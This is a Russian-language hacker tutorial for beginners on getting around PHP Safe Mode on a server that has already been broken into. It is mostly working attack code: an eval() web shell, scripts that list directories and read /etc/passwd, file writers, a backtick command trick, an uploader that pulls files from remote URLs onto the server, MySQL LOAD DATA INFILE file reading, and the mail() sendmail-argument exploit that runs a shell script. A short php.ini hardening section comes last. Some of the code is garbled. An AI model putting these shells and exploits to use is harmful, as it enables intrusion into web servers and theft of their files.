Начинающего хакера очень часто может испугать то, что на сервере включена опция Safe Mode в PHP. К примеру, хакер взломал какой-то сайт через include(), require(), fopen() уязвимость, а на исполнение команд оболочки у него недостаточно прав. Каждый с этим сталкивался, но не каждый решал эту проблему.
Способов обхода Safe Mode довольно много. Но сначала разберемся в том, что собой представляет Safe
Mode. Safe Mode – это директива в PHP, которая запрещает исполнять system(), passthru(), exec(),
shell_exec и другие функции, выполняющие системные программы.
Если PHP настроен, как Safe Mode + open_basedir, тогда никакие файлы вне open_basedir не обслуживаются PHP, не стартуют программы, которые находятся вне данной директории.
Список функций ограничиваемых Safe Mode: chgrp, include, require, chmod, link, rmdir, chown, passthru, sumlink, exec, popen, system, fopen, readfile, unlink, file,
rename. Довольно полезная функция для системных администраторов и довольно вредная для хакеров, не так ли? Но, все можно обойти, я в этом убедился уже давно,
чего и тебе желаю. Safe Mode не блокирует функции include(), require(), fopen(), fwrite() и многие другие, не менее полезные. Тогда мы просто реализуем все, что нам нужно с помощью остальных функций PHP не прибегая к запуску системных команд.
Для этой цели нам нужен скрипт, через который мы будем исполнять PHP код.
<?
$shell = get_magic_guotes_gpc();
if (!empty[$_POST['c'] )) {
$c = $shell ? stripslashes($_POST['c']) : $_POST['c'];
} else {
$c = NULL;
}
echo "<form action='' method='POST'>
<texarea cols='80' rows='30' name='c' id='c'>
$c;
</textarea>
<br><input type='submit'></form>";
if (!is_null($c)) eval($c);
?>
Конечно, можно создать полноценный шелл и гиперссылками и выделением, эту работу я оставлю тебе, моя же цель показать примеры использования альтернативных функций PHP. В данном скрипте шелл код нужно вводить без <? и ?>.
Листинг Файлов:
<?
$dir = dir(".");
print "Path: ", realpath($dir->path) . "<br>\n";
while (False !== ($entry = $dir->read())) {
if (is_dir(realpath($dir->path).'/'.$entry)) {
echo "[".$entry."].(is_writable(realpath($dir->path).'/'.$entry) ? ' [W]' : ''). "<br>\n";
} else {
echo $entry.(is_writable(realpath($dir->path).'/'.$entry) ? ' [W]' : ''). "<br>\n";
}
}
$dir->close();
?>
Прекрасно! Вот и нашлась замена “ls -la”.
$dir = dir("."); - в скобках указывай полный путь к директории, листинг которой хочешь увидеть. Если не знаешь полного пути на сервере, просто запусти код без параметров, и ты увидишь этот путь.
Для просмотра файла используй этот код:
<?
echo nl2br(htmlspecialchars(implode('', file(''))));
?>
file('')))); - к примеру заменяешь на file('/etc/passwd'))))";
Вот она мощь PHP! И это еще не все, если на файл поставлен бит +w, то мы сможем записать в него любую информацию.
<?
$filename = '';
$comecontent = '';
$handle = fopen($filename, 'w');
fwrite($handle, $comecontent);
fclose($handle);
?>
$filename – имя файла
$comecontent – то, что пишем в файл
Если нужно записать PHP информацию используй $comecontent такого вида:
'<'.'?php
// тут пхп код
?'.'>';
Далее я приведу еще немного полезных общедоступных функций PHP, которые тебе пригодятся.
Сразу говорю, что не все будут работать в правильно настроенном Safe
Mode.
Открытие файла или URL:
fopen($sPathFile, $sModifier);
//модификатор может иметь значения:
//\'r\' - Открыть только для чтения;
//\'r+\' - Открыть для чтения и записи;
//\'w\' - Открыть только для записи;
//\'a\' - Открыть только для записи в конец файла;
//\'a+\' - Открыть для чтения и записи в конец файла;
Копирование файла:
copy($sOldPath, $sNewPath);
Переименование файла:
rename($sOldPath, $sNewPath)
Удаление файла:
unlink($sPathFile);
Проверка существования файла:
file_exists($sPathFile);
Проверка на поддержку чтения:
is_file($sPathFile);
Такой себе chmod в PHP (в Safe Mode часто отключен):
chmod($sPathFile, 0755) // Обязательно пишите О (нуль) перед указателем режима
Вывод содержимого файла в браузер:
readfile($sPathFile);
Создание директории:
mkdir($sPathFolder, $iChmod);
Удаление директории:
rmdir($sPathFolder);
Кстати, иногда прокатывает довольно интересный способ:
$cmd=`ls`;
print "<pre>$cmd</pre>";
Это способ выполнения системных команд, не требующий вызова функций.
Здесь команда заключается в обратные апострофы.
Действительно, с обходом Safe Mode возникает очень большая морока, порой легче загрузить, к примеру, perl сценарий, и исполнять команды через него.
PHP дает нам возможность загрузить любой файл, хоть с localhost хоть с удаленного сервера.
С твоего компьютера:
<?
echo <<<HTML
<form enctype="multipart/form-data" action="$self" method="POST">
<input type="hidden" name="ac" value="upload">
<tr>
<td>File:</td>
<td><input size="48" name="file" type="file"></td>
</tr>
<tr>
<td>Path:</td>
<td><input size="48" name="path" type="text"><input type="submit" value="OK"></td><br>
HTML;
if (isset($_POST['path'])){
$uploadfile = $_POST['path'].$_FILES['file']['name'];
if ($_POST['path']==""){$uploadfile = $_FILES['file']['name'];}
if (copy($_FILES['file']['tmp_name'], $uploadfile)) {
echo "OK $uploadfile\n";
echo "Name:" .$_FILES['file']['name']. "\n";
echo "Ves:" .$_FILES['file']['size']. "\n";
} else {
print "Error:\n";
print_r($_FILES);
}
}
?>
С удаленного компьютера:
<?
echo "<form enctype='multipart/form-data' action='?ac=upload&status=ok' method=post>
<input type='text' name='file3' value='http://' size=40><br>
ServerPath: <br>
<input type='text' name='file2' value='$docr/' size=40><br>
<input type='submit' value='OK'></form>";
if (!isset($status)) downfiles();
else
{
$data = @implode("", file($file3));
$fp = @fopen($file2, "wb");
@fputs($fp, $data);
$ok = @fclose($fp);
if($ok)
{
$size = filesize($file2)/1024;
$sizef = sprintf("%.2f", $size);
print "<br><center>OK: <b>ves <u>$file2</u> ves</b> (".$sizef."??) </center>";
}
else
{
print "<br><center><font color=red size = 2><b>error</b></font></center>";
}
}
?>
Также файл можно загрузить через ftp:
<?
ftp_connect(хост)
ftp_login(ftp_ресурс, username, password)
ftp_cdup(директория ftp ресурса)
ftp_get(ftp_ресурс, имя локального файла, дистанционный файл, режим копирования)
//Режим обязан быть FTP_ASCII или FTP_BINARY
ftp_quit(ftp_ресурс)
ftp_close(хост)
?>
Еще один способ обхода Safe Mode заключается библиотека mysql, через функции которой можно производить действия с произвольными файлами. Юзай оператор LOAD DATA и будет тебе счастье.
CREATE TABLE `test` ( `file` LONGBLOB NOT NULL );
загрузка файла в таблицу
LOAD DATA INFILE "/etc/passwd" INTO TABLE test;
вывод содержимого файла и удаление таблицы
SELECT * FROM test; DROP TABLE test;
Также в пятом аргументе функции mail() была найдена уязвимость, которая позволяет передавать опции командной строки в
sendmail:
<?
$script=tempnam("/tmp", "script");
$cf=tempnam("/tmp", "cf");
$fd = fopen($cf, "w");
fwrite($fd, "OQ/tmp
Sparse=0
R$*" . chr(9) . "$#local $@ $1 $: $1
Mlocal, P=/bin/sh, A=sh $script");
fclose($fd);
$fd = fopen($script, "w");
fwrite($fd, "rm -f $script $cf; ");
fwrite($fd, $cmd);
fclose($fd);
mail("nobody", "", "", "", "-C$cf");
?>
Защита
Отредактируй php.ini:
sql.safe_mode = On
safe_mode_gid = On
safe_mode = On 🙂
Установить safe_mode_include_dir и safe_mode_exec_dir.
disable_functions – тут нужно запретить неиспользуемые на сервере функции, phpinfo() и остальные.
И не забуть обновлять программное обеспечение на своем сервере.
Если что, пиши, я всегда помогу настроить тебе сервер на определенную плату 😉